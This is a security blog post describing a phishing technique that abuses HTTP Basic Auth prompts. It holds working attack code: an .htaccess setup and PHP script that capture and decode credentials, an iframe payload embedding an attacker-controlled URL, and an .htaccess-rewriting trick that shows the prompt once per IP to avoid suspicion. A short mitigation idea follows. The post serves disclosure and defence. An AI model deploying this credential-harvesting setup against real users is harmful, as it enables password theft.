HTTP Auth Phishing

HTTP Auth offers attackers easy phishing. This post describes how it is done and how the attacker could circumvent the constant reappearing of the authentication prompt.

Intro

An attacker could force an HTTP authentication pop-up window in the victim’s browser and log the input to a file on his own server. This post is the write-up of an idea I had a while ago. While investigating, I found out the idea had been coined before. Find some related posts below my findings.

This attack doesn’t require much work from the attacker. Let’s have a look at some of the configuration he needs.

.htaccess
ErrorDocument 401 /httpauthphishing/log.php

<files secret.php>
AuthType Basic
AuthName "Please login again."
# Optional line:
AuthUserFile /path/to/.htpasswd
Require valid-user
</files>

RewriteEngine On
RewriteBase /
RewriteCond %{ENV:REDIRECT_STATUS} ^401$
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
log.php
echo base64_decode(str_replace('Basic ','',$_SERVER['HTTP_AUTHORIZATION']));
payload
<iframe src='http://www.targetsite.com.honoki.net/httpauthphishing/secret.php'></iframe>

The payload can exist of any number of other attack vectors. A more likely scenario would be the use of the image tag <img src='http://.../secret.php' />, but for the purpose of this demonstration, I’ll stick with the iframe.

The efficiency of the attack depends on how likely users are to enter their details. So let’s think about how a user would react to the authentication prompt that suddenly pops up.

httpauthphish-11
Example pop-up

The image above is in Dutch, but should look familiar at the least. You notice the server domain is displayed along with a custom message: “Please login again”. The domain clearly ends in.honoki.net, so wary users will recognize this as an attempt to steal their passwords. Less wary users have two options; if they click cancel, the hazard is gone. If they decide to click “log in”, whatever information they enter will be logged to the attacker’s server.

By default, when apache receives invalid authentication details (which it would, when a user clicks “log in”), it shows the login prompt again and again until valid details are entered. Apache doesn’t offer a way around this. However, we can circumvent this by dynamically editing the .htaccess file to allow all subsequent requests to the protected file based on IP. That can easily be accomplished with something like

Order allow,deny
# INSERT_IP
Satisfy any

and

$htaccess = file_get_contents(".htaccess");
$htnew = str_replace("# INSERT_IP", "Allow from ".$_SERVER['REMOTE_ADDR']."\n# INSERT_IP",$htaccess);
file_put_contents(".htaccess",$htnew);

The result is that every IP gets the login prompt served just once. This makes the attack look less suspiscious when a user enters his/her actual login details.

Demo

Find a demo of this phishing method here. The demo does not include the dynamic editing of the .htaccess file for the sake of demonstration.

Solutions

I can’t think of many use cases where a web page would require cross-domain resources protected by HTTP Auth to be used in the document. At the moment, Chrome appears to disregard a similar request when placed inside the source attribute of an image tag. Firefox still allows it. Try this jsfiddle in either browser to test.

Blocking these resources in all browsers sounds like an easy way to mitigate this kind of attack. I’ll be happy to read your ideas and comments below.

Related posts

Leave a Reply

Your email address will not be published. Required fields are marked *